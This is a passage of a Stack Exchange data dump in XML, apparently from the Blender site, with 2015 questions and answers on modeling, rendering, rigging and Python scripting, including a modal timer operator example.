  <row Id="28682" PostTypeId="2" ParentId="28669" CreationDate="2015-04-20T06:26:52.387" Score="3" Body="&lt;p&gt;You probably activated &lt;strong&gt;Local View&lt;/strong&gt; by pressing &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;/&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that happens you can only see and edit the selected object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;/&lt;/kbd&gt; again to exit (or press the &lt;kbd&gt;Space Bar&lt;/kbd&gt; and type Local view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TSMs9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-20T06:26:52.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28683" PostTypeId="2" ParentId="28673" CreationDate="2015-04-20T06:28:54.997" Score="13" Body="&lt;p&gt;&lt;em&gt;Text Editor &gt; Python &gt; Templates &gt; Operator Modal Timer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I quickly cobbled together a small edit to that template, which I think does what you want. Run it from Text Editor, read the code you don't understand slowly and follow the flow of control carefully. There is no need to manually redraw.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    limits = bpy.props.IntProperty(default=0)&#xA;    _timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'} or self.limits &amp;gt; 30:&#xA;            self.limits = 0&#xA;            self.cancel(context)&#xA;            return {'FINISHED'}&#xA;&#xA;        if event.type == 'TIMER':&#xA;            XYZcoord = (random.random()*100, random.random()*100, random.random()*100)&#xA;            bpy.ops.mesh.primitive_uv_sphere_add(location=XYZcoord)&#xA;            self.limits += 1&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(time_step=0.1, window=context.window)&#xA;        wm.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-20T07:20:37.500" LastActivityDate="2015-04-20T07:20:37.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28687" PostTypeId="1" CreationDate="2015-04-20T10:16:05.520" Score="1" ViewCount="1219" Body="&lt;p&gt;I want to cut this image &lt;img src=&quot;https://i.stack.imgur.com/fzrks.jpg&quot; alt=&quot;Fleur de lis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into a 3D blender object, how do i do this?&lt;/p&gt;&#xA;" OwnerUserId="13874" LastActivityDate="2015-04-20T10:16:05.520" Title="How do i cut a black and white 2D image into a blender 3d object?" Tags="&lt;modeling&gt;&lt;image&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-20T19:38:14.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="28688" PostTypeId="2" ParentId="28681" CreationDate="2015-04-20T10:25:40.680" Score="-2" Body="&lt;p&gt;With the pictures and sound in the &lt;strong&gt;&lt;em&gt;VIDEO SEQUENCE EDITOR&lt;/em&gt;&lt;/strong&gt;, In the &lt;strong&gt;&lt;em&gt;Render Tab&lt;/em&gt;&lt;/strong&gt; choose the following settings :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RENDER -&gt; &lt;strong&gt;&lt;em&gt;ANIMATION&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;&#xA;OUTPUT -&gt; &lt;strong&gt;&lt;em&gt;H.264&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;&#xA;PRESET -&gt; &lt;strong&gt;&lt;em&gt;H.264&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;&#xA;FORMAT -&gt; &lt;strong&gt;&lt;em&gt;MATROSKA&lt;/em&gt;&lt;/strong&gt; (MP4, AVI, XVID, etc..) &lt;br&gt;&#xA;CODEC -&gt; &lt;strong&gt;&lt;em&gt;H.264&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;&#xA;&lt;strong&gt;AUDIO CODEC&lt;/strong&gt; -&gt; &lt;strong&gt;AAC&lt;/strong&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3aw7W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13875" LastEditorUserId="5113" LastEditDate="2015-04-20T10:31:36.553" LastActivityDate="2015-04-20T10:31:36.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28689" PostTypeId="2" ParentId="28673" CreationDate="2015-04-20T10:44:52.583" Score="19" Body="&lt;p&gt;The UI (including viewport ) can be updated during the script execution but it is advised against it &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/info_gotcha.html?highlight=redraw_timer#can-i-redraw-during-the-script&quot; rel=&quot;noreferrer&quot;&gt;in the Blender API documentation&lt;/a&gt; for these reasons :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tools that lock Blender in a loop and redraw are highly discouraged since they conflict with Blenders ability to run multiple operators at once and update different parts of the interface as the tool runs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so to update the UI during execution you can use &lt;code&gt;wm.redraw_timer()&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;for i in range(1000):&#xA;    XYZcoord = (random.random()*100, random.random()*100, random.random()*100)&#xA;    bpy.ops.mesh.primitive_uv_sphere_add(location=XYZcoord)&#xA;    # Update the viewport here.&#xA;    bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a good alternative has been suggested by @Zeffii which is the modal operator triggered by timer &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-20T10:44:52.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28690" PostTypeId="1" CreationDate="2015-04-20T11:11:22.260" Score="6" ViewCount="1448" Body="&lt;p&gt;I recorded iPhone's rotation and now I want to import these data as x,y,z for object rotation in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I convert OSC or CSV formats into F-Curves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for help.&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2015-04-22T09:13:58.970" LastActivityDate="2015-04-23T09:17:29.717" Title="How to import recorded iPhone gyro data into blender?" Tags="&lt;python&gt;&lt;import&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28691" PostTypeId="2" ParentId="28672" CreationDate="2015-04-20T11:17:09.210" Score="4" Body="&lt;p&gt;The blue mesh isn't a real mesh it is generated from a curve so it can't be used in the Boolean modifier ( and other mesh dependent modifiers ) , also the text object( red one ) is a curve so it can't be used in the Boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert  the curve into a mesh :&lt;br&gt;&#xA; - select the curve and hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and choose &lt;strong&gt;&lt;em&gt;Mesh from Curve&lt;/em&gt;&lt;/strong&gt; &lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; beware after converting to a mesh you loose the curve editing options ( including this animation )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animation you have can be replicated using the build modifier  on the converted mesh :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hVgrK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you can have both the animation and the Boolean modifier on this mesh&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-20T11:17:09.210" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="28692" PostTypeId="1" CreationDate="2015-04-20T11:31:29.273" Score="3" ViewCount="70" Body="&lt;p&gt;I have a character animation with a lot of clips in NLA. Now I need transfer my mixed clips to another character. Is there any way to do this easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to bake all my clips to one, because then I would lose my mixed clips.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="54" LastEditDate="2015-09-26T19:17:28.107" LastActivityDate="2015-09-26T19:17:28.107" Title="NLA clips to another character" Tags="&lt;nla-editor&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28693" PostTypeId="1" AcceptedAnswerId="28696" CreationDate="2015-04-20T13:15:50.123" Score="5" ViewCount="1512" Body="&lt;p&gt;I would like to make curved cone (I'm making 3D model of &lt;a href=&quot;http://comps.canstockphoto.com/can-stock-photo_csp2186532.jpg&quot; rel=&quot;noreferrer&quot;&gt;this dialog bubbles&lt;/a&gt; and I want to use curved cones to make line between the bubble and speaker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During my research I found, that I can either make cone and then curve it according to a bezier curve, or I can make path, use circle as its bevel object and then shrink it using taper object &lt;a href=&quot;https://youtu.be/tTvD9_fDQOQ?t=264&quot; rel=&quot;noreferrer&quot;&gt;as described in this video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both approaches have problems. With the first approach it is extremely hard to bend the cone the way I want and I can't get proper results. The other approach is works well, when the path is straight. If the path is curved, then after the taper object the tube disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the good way to do that? I would very much prefer the path and bevel objects approach, because it does almost exactly what I need.&lt;/p&gt;&#xA;" OwnerUserId="13876" LastActivityDate="2018-11-27T02:52:19.573" Title="Shrinking tube or bending a cone" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28694" PostTypeId="2" ParentId="28676" CreationDate="2015-04-20T13:20:29.173" Score="5" Body="&lt;p&gt;This behavior of a mesh is almost ever an issue of either &quot;zero weighted&quot; vertices or &quot;ungrouped&quot; vertices. To clarify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Zero Weighted Vertices&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertices which have entries in one or more Bone Weight maps, but the sum of all weights is 0. This can happen when all weights for a vertex have been painted to a value of 0 (blue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ungrouped Vertices&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertices which have no entries in any of the Bone weight maps. This can happen when you manually removed weight entries from some of the weight maps, or when you cleaned up your weight maps with the limit weigths tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finding the locations of problematic vertices&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you are in weight paint mode, then you can open the tool shelf, locate the Options vertical tab, and set the value of &lt;em&gt;Show Zero weights&lt;/em&gt; to &lt;strong&gt;All&lt;/strong&gt;&#xA;Then all areas with unweighted vertices or with vertices with a weight sum of 0 will be rendered in black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You can change the color from black to something better visible. I changed the User Preferences -&gt; Themes, in the 3D View Section: set &quot;Vertex Group Unreferenced&quot; to your favorite color (i used Magenta):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QKVnj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Selecting ungrouped Vertices&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, in the Footer of the 3D View: Select -&gt; Ungrouped&#xA;Then all vertices will be selected which are not mentioned in any vertex group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/As4HW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2015-04-20T14:14:37.473" LastActivityDate="2015-04-20T14:14:37.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28695" PostTypeId="1" CreationDate="2015-04-20T14:00:26.213" Score="1" ViewCount="88" Body="&lt;p&gt;Normal &lt;strong&gt;scale 1&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kf6ZA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when Enlarged to &lt;strong&gt;scale 1.625&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using copy scale on the rib bones and its location is going for toss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0qici.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When reduced to &lt;strong&gt;scale 0.647&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZFOd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help find work around&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="241" LastEditDate="2015-04-20T14:18:00.870" LastActivityDate="2015-04-20T14:18:00.870" Title="When extra bones are added to my rig, why don't they scale correctly?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28696" PostTypeId="2" ParentId="28693" CreationDate="2015-04-20T14:23:43.700" Score="7" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a bent conical object. Start with a &lt;strong&gt;Curve&lt;/strong&gt; and a Bezier Circle (Add Curve-&gt;Circle) as &lt;strong&gt;Bevel&lt;/strong&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajtwI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change the &lt;strong&gt;Radius&lt;/strong&gt; for the control points of the curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnjt5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other Ideas:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the whole object as a curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FrTAR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then fill it as a 2D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V2Zyg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrQQ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add a Curve-&gt;Circle as a bevel Object you can so something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZZjVU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-20T15:28:38.360" LastActivityDate="2015-04-20T15:28:38.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28697" PostTypeId="1" CreationDate="2015-04-20T14:45:58.530" Score="0" ViewCount="35" Body="&lt;p&gt;I am making a spaceship corridor in blender cycles, but when I render it out it gets really grainy in terms of shadows.&lt;img src=&quot;https://i.stack.imgur.com/qKAUk.jpg&quot; alt=&quot;(as shown here)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="13840" LastActivityDate="2015-04-20T14:45:58.530" Title="really grainy shadows" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-20T16:29:53.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="28698" PostTypeId="2" ParentId="28519" CreationDate="2015-04-20T14:50:51.990" Score="1" Body="&lt;p&gt;You could give one or more faces of a sphere a different material (to make the faces smaller subdivide the sphere). Then you could render the scene and press the left mouse button make the coordinates show up.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First add a sphere and two materials with different colors. Then switch to edit mode and change the selection mode to faces.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3ujm.png&quot; alt=&quot;Create two materials and change selection mode to faces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Now select one or more faces and the second (in this case red) material. Press &lt;code&gt;Assign&lt;/code&gt; to assing this material to the selected face. To see the selected material in the 3D view select the shading mode &lt;code&gt;Material&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6B6fM.png&quot; alt=&quot;Assign the material and select &amp;quot;material&amp;quot; shading&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Render the scene and press the left mouse button on one of the colored points. The (image) coordinates are shown at the bottom left corner of the image view.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xq6V6.png&quot; alt=&quot;Render and press LMB to show coordinates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an animation of the whole process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s89un.gif&quot; alt=&quot;the whole process&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2015-04-20T14:50:51.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28700" PostTypeId="2" ParentId="28653" CreationDate="2015-04-20T14:55:58.307" Score="3" Body="&lt;p&gt;By using &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/drivers/index.html#drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers&lt;/a&gt; you can use one value to control multiple settings.&lt;/p&gt;&#xA;&lt;p&gt;In the watch (or the first strap piece), add a custom property called &lt;code&gt;StrapLength&lt;/code&gt; then use that property to drive the array modifier value of the other pieces. Right click on the array count value and select &lt;code&gt;Add Driver&lt;/code&gt;, then in the driver properties you set it to use a single property and select the object and set the path to &lt;code&gt;[&amp;quot;StrapLength&amp;quot;]&lt;/code&gt;. Repeat for each piece in the strap.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U86XV.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then when you adjust the property, each array using the value in the driver will change at the same time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2DWlz.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="15924" LastEditDate="2020-10-20T14:01:52.283" LastActivityDate="2020-10-20T14:01:52.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28701" PostTypeId="1" AcceptedAnswerId="28702" CreationDate="2015-04-20T14:57:24.567" Score="4" ViewCount="737" Body="&lt;p&gt;I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been messing around, trying to have fun with Minecraft Blocks in Blender. I also made water, using just a &lt;strong&gt;square&lt;/strong&gt; - one face of a cube. I tried mixing transparent with diffuse BSDF, everything looks really cool, but I would like to have some refraction cause the shadows look unnatural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll attach a photo so you know what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do. When I use Glass BSDF it looks like it's almost black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIl5t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8351" LastEditorUserId="241" LastEditDate="2015-04-20T19:34:41.417" LastActivityDate="2015-04-20T19:34:41.417" Title="How do I use refraction to make underwater shadows look better?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;light&gt;&lt;shaders&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28702" PostTypeId="2" ParentId="28701" CreationDate="2015-04-20T15:57:20.487" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the plane a single Refraction BSDF shader with blue color and IOR &gt; 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under Properties &gt; Object &gt; Ray Visibility uncheck shadow so the water does not produce shadow (that's why its almost black)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJGp6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-20T15:57:20.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28703" PostTypeId="2" ParentId="28665" CreationDate="2015-04-20T16:09:46.817" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If you parent a physics object to another object it becomes a static object.&#xA;  Therefore there is no velocity anymore. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It was answered to me in another forum.Thanks for all the effort.I 'll mark it answered if I find how.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-04-20T16:09:46.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28704" PostTypeId="1" AcceptedAnswerId="28705" CreationDate="2015-04-20T17:12:02.770" Score="4" ViewCount="139" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EaE23.png&quot; alt=&quot;ScaletoZ&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a model that is turned at a 45 degree angle. I want to scale the selected faces to the 3D Cursor's position with the Normal Transformation Orientation selected using the shortcut S, Z, 0 enter. Z is the axis shown for the Normal Transformation Orientation that I want to scale along, but the operation is of course scaling along the world's Z axis. How do I change the behavior in Blender so that I can use the keyboard shortcuts for the Normal Transformation Orientation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW...I know that I can use the Scale Transformation Manipulator and drag it in the direction I want and enter 0 to accomplish this task, but my question is specifically about using the S, Axis, 0 method in conjunction with the 3D Cursor's position for Normal Transformation Orientation.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-04-20T17:20:41.273" LastActivityDate="2015-04-20T20:53:58.707" Title="How do I use quick data entry to Scale to the 3D Cursor when using Normal Transformation Orientation?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28705" PostTypeId="2" ParentId="28704" CreationDate="2015-04-20T17:31:07.573" Score="6" Body="&lt;p&gt;You simply have to press the axis key (&lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;) twice when performing the transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, pressing &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;0&lt;/kbd&gt; will scale everything to 0 along the 'Z' normal axis &lt;em&gt;if&lt;/em&gt; 'Normal' transformation type is selected in the 3D view header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q6ngi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically whatever transformation is selected in the header will be switched to when pressing the axis key twice.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-20T17:37:03.540" LastActivityDate="2015-04-20T17:37:03.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28706" PostTypeId="2" ParentId="28648" CreationDate="2015-04-20T17:39:13.943" Score="8" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Basic idea :&lt;/em&gt;&lt;/strong&gt; render additional layer with overriding material which assign a grayscale value based on the point height  , use this layer as height pass &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Details :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create the overriding material that will replace all materials in the height pass as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kH3Aj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;setup an the height pass to use the override material :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tgQqM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the compositor use the color output of the Height layer as a height pass :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnzJW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after compositing here is the result :&lt;br&gt;&#xA;&lt;strong&gt;no height :&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kWIyY.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA; &lt;strong&gt;with height :&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KgeHK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-20T17:39:13.943" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28708" PostTypeId="1" CreationDate="2015-04-20T19:11:57.900" Score="1" ViewCount="775" Body="&lt;p&gt;I have a composition with multiple file out nodes, and I would like to output movies from some of them instead of an image sequence. Is this possible ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the video sequence editor, I can't find an easy way to different clips with unique names at once. If that's something do-able, then it would serve my needs as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you!&lt;/p&gt;&#xA;" OwnerUserId="13688" LastActivityDate="2015-04-21T06:42:26.567" Title="Compositor: Export movie files" Tags="&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28709" PostTypeId="1" CreationDate="2015-04-20T19:31:54.257" Score="1" ViewCount="323" Body="&lt;p&gt;I have 2 floor planes with Diffuse shaders, and 2 light planes with Emission shaders. These are effective in Preview mode, but when I render, all the lights seem to be disabled - the render looks dark. Only if I add a White Background in World will I see the object being rendered with some light, &lt;em&gt;but&lt;/em&gt; the floor light from the planes doesn't seem to be effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/190/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=190&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13882" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" 